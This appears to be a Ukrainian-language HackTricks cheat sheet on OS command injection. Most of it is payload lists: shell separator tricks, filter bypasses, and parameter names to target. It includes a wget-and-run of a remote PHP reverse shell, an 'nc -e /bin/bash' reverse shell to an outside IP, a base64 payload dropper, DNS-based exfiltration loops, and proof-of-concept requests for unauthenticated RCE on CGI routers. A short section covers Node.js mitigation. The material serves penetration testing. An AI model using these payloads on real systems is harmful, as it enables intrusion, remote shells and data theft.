Command Injection

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке command Injection?

command injection дозволяє зловмисникові виконувати довільні команди операційної системи на сервері, який розміщує додаток. Внаслідок цього додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмисникові отримати несанкціонований доступ або контроль над середовищем додатка та базовою системою.

Контекст

Залежно від того, де вставляється ваше введення, можливо, вам потрібно закрити цитований контекст (використовуючи " або ') перед командами.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Bypasses

Якщо ви намагаєтеся виконати arbitrary commands inside a linux machine, вам буде цікаво прочитати про ці Bypasses:

Bypass Linux Restrictions

Приклади

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Параметри

Нижче наведено топ-25 параметрів, які можуть бути вразливі до code injection та подібних RCE-вразливостей (from link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Вилучення даних: char за char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

На основі інструменту з https://github.com/HoLyVieR/dnsbin, також розміщено на dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Онлайн-інструменти для перевірки DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Обхід фільтрації

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Під час аудиту JavaScript/TypeScript бекендів ви часто натрапите на Node.js child_process API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() запускає shell (/bin/sh -c), тому будь-який символ, який має спеціальне значення для shell (back-ticks, ;, &&, |, $(), …) призведе до command injection, якщо введення користувача конкатенується в рядку.

Пом’якшення: використовуйте execFile() (або spawn() без опції shell) і передавайте кожен аргумент як окремий елемент масиву, щоб shell не брав участі:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Реальний випадок: Synology Photos ≤ 1.7.0-0794 був експлуатований через unauthenticated WebSocket подію, що записувала контрольовані атакуючим дані в id_user, які пізніше були вбудовані в виклик exec(), досягаючи RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Не всі ін’єкції потребують shell metacharacters. Якщо додаток передає неперевірені рядки як аргументи системній утиліті (навіть при використанні execve/execFile і без shell), багато програм усе одно парситимуть будь-який аргумент, що починається з - або --, як опцію. Це дозволяє атакуючому переключати режими, змінювати шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.

Типові місця, де це зустрічається:

  • Embedded web UIs/CGI handlers, які будують команди типу ping <user>, tcpdump -i <iface> -w <file>, curl <url> тощо.
  • Centralized CGI routers (наприклад, /cgi-bin/<something>.cgi з параметром-селектором на кшталт topicurl=<handler>), де кілька обробників повторно використовують той самий слабкий валідатор.

Що спробувати:

  • Надати значення, що починаються з -/--, щоб вони були сприйняті як прапорці downstream-утилітою.
  • Зловживати прапорцями, які змінюють поведінку або записують файли, наприклад:
  • ping: -f/-c 100000 щоб навантажити пристрій (DoS)
  • curl: -o /tmp/x щоб записати довільні шляхи, -K <url> щоб завантажити конфіг від атакуючого
  • tcpdump: -G 1 -W 1 -z /path/script.sh щоб досягти виконання після ротації у небезпечних wrappers
  • Якщо програма підтримує -- end-of-options, спробуйте обійти наївні пом’якшення, що додають -- у невірне місце.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Список для виявлення Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks